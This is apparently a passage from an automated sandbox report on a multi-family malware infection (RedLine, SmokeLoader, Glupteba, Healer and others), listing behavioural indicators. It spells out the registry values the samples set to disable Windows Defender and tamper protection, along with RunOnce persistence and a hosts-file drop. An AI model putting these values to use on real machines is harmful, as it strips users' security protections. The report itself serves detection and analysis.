| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\file.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Detect Mystic stealer payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Detects Healer an antivirus disabler dropper
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Glupteba
Glupteba payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Healer
Modifies Windows Defender Real-time Protection settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection | C:\Users\Admin\AppData\Local\Temp\35E4.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" | C:\Users\Admin\AppData\Local\Temp\35E4.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" | C:\Users\Admin\AppData\Local\Temp\35E4.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" | C:\Users\Admin\AppData\Local\Temp\35E4.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" | C:\Users\Admin\AppData\Local\Temp\35E4.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" | C:\Users\Admin\AppData\Local\Temp\35E4.exe | N/A |
Mystic
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
SectopRAT
SectopRAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
SmokeLoader
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 4596 created 3096 | N/A | C:\Users\Admin\AppData\Local\Temp\latestX.exe | C:\Windows\Explorer.EXE |
| PID 4596 created 3096 | N/A | C:\Users\Admin\AppData\Local\Temp\latestX.exe | C:\Windows\Explorer.EXE |
| PID 4596 created 3096 | N/A | C:\Users\Admin\AppData\Local\Temp\latestX.exe | C:\Windows\Explorer.EXE |
| PID 4596 created 3096 | N/A | C:\Users\Admin\AppData\Local\Temp\latestX.exe | C:\Windows\Explorer.EXE |
| PID 4596 created 3096 | N/A | C:\Users\Admin\AppData\Local\Temp\latestX.exe | C:\Windows\Explorer.EXE |
Downloads MZ/PE file
Drops file in Drivers directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\System32\drivers\etc\hosts | C:\Users\Admin\AppData\Local\Temp\latestX.exe | N/A |
Modifies Windows Firewall
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\netsh.exe | N/A |
Stops running service(s)
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\3837.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\33DE.bat | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\toolspub2.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\70AD.exe | N/A |
Executes dropped EXE
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\rundll32.exe | N/A |
Reads user/profile data of web browsers
Windows security modification
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0" | C:\Users\Admin\AppData\Local\Temp\35E4.exe | N/A |
Accesses cryptocurrency files/wallets, possible credential harvesting
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\file.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v2035040.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\3062.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\TC8GG4oS.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Bb7ie3oC.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Vg7CY8Fv.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\KI6yN2Co.exe | N/A |
Checks installed software on the system
Legitimate hosting services abused for malware hosting/C2
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File created | C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
Checks for VirtualBox DLLs, possible anti-VM trick
| Description | Indicator | Process | Target |
| File opened (read-only) | \??\VBoxMiniRdrDN | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
Drops file in Program Files directory
| Description | Indicator | Process | Target |
| File created | C:\Program Files\Google\Chrome\updater.exe | C:\Users\Admin\AppData\Local\Temp\latestX.exe | N/A |
Launches sc.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\sc.exe | N/A |
Enumerates physical storage devices
Program crash
Checks SCSI registry key(s)
| Description | Indicator | Process | Target |
| Key queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe | N/A |
| Key enumerated | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\toolspub2.exe | N/A |
| Key queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\toolspub2.exe | N/A |
| Key enumerated | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\toolspub2.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe | N/A |
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2161 = "Altai Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2942 = "Sao Tome Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2572 = "Turks and Caicos Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2182 = "Astrakhan Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2141 = "Transbaikal Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1721 = "Libya Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2001 = "Cabo Verde Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2891 = "Sudan Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\toolspub2.exe | N/A |
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
